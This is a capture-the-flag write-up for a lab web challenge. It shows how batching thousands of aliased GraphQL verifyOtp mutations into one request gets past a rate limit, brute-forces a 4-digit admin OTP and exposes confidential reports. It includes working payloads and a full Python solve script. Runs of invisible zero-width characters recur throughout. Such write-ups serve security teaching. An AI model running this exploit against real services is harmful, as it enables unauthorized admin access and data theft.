← Back to Writeups
CUSTOMMediumWeb

InsightFlow — GraphQL Batching OTP Bypass

XESXOR9/10/20264 min read
#web#custom#medium#admin_verification_bypass#aliased_mutations#graphql_batching#graphql_introspection#jwt_analysis#otp_bruteforce#rate_limit_bypass

InsightFlow — GraphQL Batching OTP Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_verification_bypass, aliased_mutations, graphql_batching, graphql_introspection, jwt_analysis, otp_bruteforce, rate_limit_bypass

Summary

Task: GraphQL-based analytics platform with OTP-protected admin reports and per-request rate limiting. Solution: bypass rate limit via GraphQL aliased mutation batching to brute-force 4-digit OTP in a single HTTP request, then access admin reports with verified JWT.

InsightFlow — GraphQL Batching OTP Bypass — HackAdvisor Lab 297

Description

InsightFlow is a team analytics platform built by FlowMetrics Inc. that provides dashboards, reports, and data visualization for business metrics. The platform uses a GraphQL API for all data operations. Users can view real-time dashboards with KPI metrics, browse published reports, and collaborate with team members. Some high-level confidential reports are restricted to verified administrators who must complete two-factor authentication. The platform enforces rate limiting on its API endpoints to prevent abuse. Your goal is to find a way to bypass the security controls and access the restricted admin reports. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A GraphQL-powered analytics platform where admin reports are gated behind OTP-based 2FA. The OTP verification endpoint is rate-limited to 5 attempts per minute, but the rate limiter counts HTTP requests rather than individual GraphQL operations. By batching thousands of aliased verifyOtp mutations into a single HTTP request, the rate limit is bypassed entirely, allowing brute-force of the 4-digit OTP.

Analysis

Reconnaissance

The target is an Express.js application behind nginx/1.25.5. The GraphQL endpoint at /graphql was discovered from /js/auth.js. A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is planted in HTML comments on every page — this is a honeypot trap, not the real flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Authentication and JWT

Logging in with user@test.com / password123 via the login mutation returns a JWT. Decoding the JWT payload reveals:

json
{
  "id": 2,
  "email": "user@test.com",
  "name": "Test User",
  "role": "user",
  "adminVerified": false
}

The adminVerified: false field indicates that admin-level access requires additional verification beyond basic authentication.

Schema Discovery via Introspection

Full GraphQL introspection revealed the complete schema:

  • Queries: me, metrics, kpi, reports, adminReports, recentActivity
  • Mutations: login, register, verifyOtp(code: String!)
  • Types: AdminReport has fields: id, title, content, classification, author, createdAt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key observations:

  • adminReports returns "Admin verification required. Please complete 2FA verification."
  • verifyOtp accepts a 4-digit OTP code (0000-9999) — only 10,000 possibilities
  • The OTP verification page warns: "OTP verification is rate-limited to 5 attempts per minute"

The Vulnerability

The rate limiter counts HTTP requests, not individual GraphQL operations within a request. GraphQL supports aliased mutations — multiple operations with unique aliases in a single query. This means 1000+ OTP attempts can be packed into one HTTP request, completely bypassing the rate limit. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and obtain JWT

graphql
mutation {
  login(email: "user@test.com", password: "password123") {
    success message token
  }
}

Step 2: Brute-force OTP via GraphQL batching

Construct a single GraphQL mutation with 1000 aliased verifyOtp calls:

graphql
mutation {
  a0000: verifyOtp(code: "0000") { success message token }
  a0001: verifyOtp(code: "0001") { success message token }
  a0002: verifyOtp(code: "0002") { success message token }
  ...
  a0999: verifyOtp(code: "0999") { success message token }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This sends all 1000 attempts as a single HTTP POST to /graphql. The rate limiter sees one request and allows it through. The correct OTP (0347) returns success: true along with a new JWT containing adminVerified: true.

With batches of 1000, the entire 10,000-code keyspace is covered in at most 10 HTTP requests.

Step 3: Access admin reports with verified token

graphql
{
  adminReports {
    id title content classification author createdAt
  }
}

Three confidential reports are returned. The flag is embedded in the "Confidential Q4 Revenue Analysis" report content: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Authorization Key: FLAG{REDACTED}

Full Solve Script

python
#!/usr/bin/env python3
"""GraphQL Batching OTP Bypass for InsightFlow (Lab 297)"""
import requests
import json
import sys

TARGET = "https://1817c4d3-f5dc-4598-af21-aca7ff035b28.labs.hackadvisor.io"

# Step 1: Login
print("[*] Logging in...")
login_query = {
    "query": 'mutation { login(email: "user@test.com", password: "password123") { success message token } }'
}
r = requests.post(f"{TARGET}/graphql", json=login_query)
data = r.json()
token = data["data"]["login"]["token"]
print(f"[+] Token obtained")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

headers = {
    "Content-Type": "application/json",
    "Authorization": f"Bearer {token}"
}

# Step 2: Brute force OTP using aliased mutations (batching bypass)
BATCH_SIZE = 1000
admin_token = None

for batch_start in range(0, 10000, BATCH_SIZE):
    batch_end = min(batch_start + BATCH_SIZE, 10000)
    mutations = []
    for i in range(batch_start, batch_end):
        code = f"{i:04d}"
        mutations.append(f'a{i}: verifyOtp(code: "{code}") {{ success message token }}')

    query = "mutation {\n" + "\n".join(mutations) + "\n}"
    print(f"[*] Batch {batch_start:04d}-{batch_end-1:04d}...")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    r = requests.post(
        f"{TARGET}/graphql", json={"query": query}, headers=headers, timeout=120
    )
    result = r.json()

    if "data" in result:
        for key, val in result["data"].items():
            if val and val.get("success"):
                code_num = int(key.replace("a", ""))
                print(f"[+] OTP FOUND: {code_num:04d}")
                admin_token = val.get("token")
                break
    if admin_token:
        break

if not admin_token:
    print("[!] Failed to find OTP")
    sys.exit(1)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: Fetch admin reports with verified token
print("[*] Fetching admin reports...")
admin_headers = {
    "Content-Type": "application/json",
    "Authorization": f"Bearer {admin_token}",
}
admin_query = {
    "query": "{ adminReports { id title content classification author createdAt } }"
}
r = requests.post(f"{TARGET}/graphql", json=admin_query, headers=admin_headers)
result = r.json()

if "data" in result and result["data"].get("adminReports"):
    for report in result["data"]["adminReports"]:
        print(f"\n--- {report.get('title')} ---")
        content = report.get("content", "")
        print(content)
        if "FLAG" in content:
            print(f"\n[+] FLAG FOUND!")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍